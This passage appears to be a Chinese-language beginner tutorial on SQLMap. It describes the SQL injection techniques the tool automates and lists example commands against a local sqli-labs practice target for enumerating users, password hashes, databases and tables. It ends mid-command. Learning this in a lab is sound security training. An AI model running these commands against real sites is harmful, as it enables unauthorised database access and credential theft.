什么是SQLmap?
SQLMap是一款由Python开发的自动化SQL注入工具,其主要功能是扫描、发现并利用SQL注入漏洞,它内置了很多绕过插件,并且支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBM DB2、SQLite等数据库。
SQLMAP的强大之处在于对数据库指纹的识别、数据库枚举、数据提取、访问目标文件系统、并在获取完全的操作权限时执行任意命令,它支持以下几种独特的注入:
基于布尔类型的注入,即可根据返回页面判断条件真假的注入。
基于时间的盲注,即不能根据页面返回判断的时候,利用时间线是否延时来判断条件的真假。
基于报错的注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中,比如数据库报错的信息等。
联合查询注入,即可以使用Union的情况下注入。
堆叠查询注入,即可以同时执行多条语句时的注入。
SQLmap常规操作
—GET形式—
–batch 使用所有默认配置,从不询问用户输入
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --current-user //检测当前用户
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --password //查询数据库用户密码
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --dbs //检测所有数据库
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --current-db //检测当前数据库
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --tables -D dbname //检测dbname数据库下的所有表
python2 sqlmap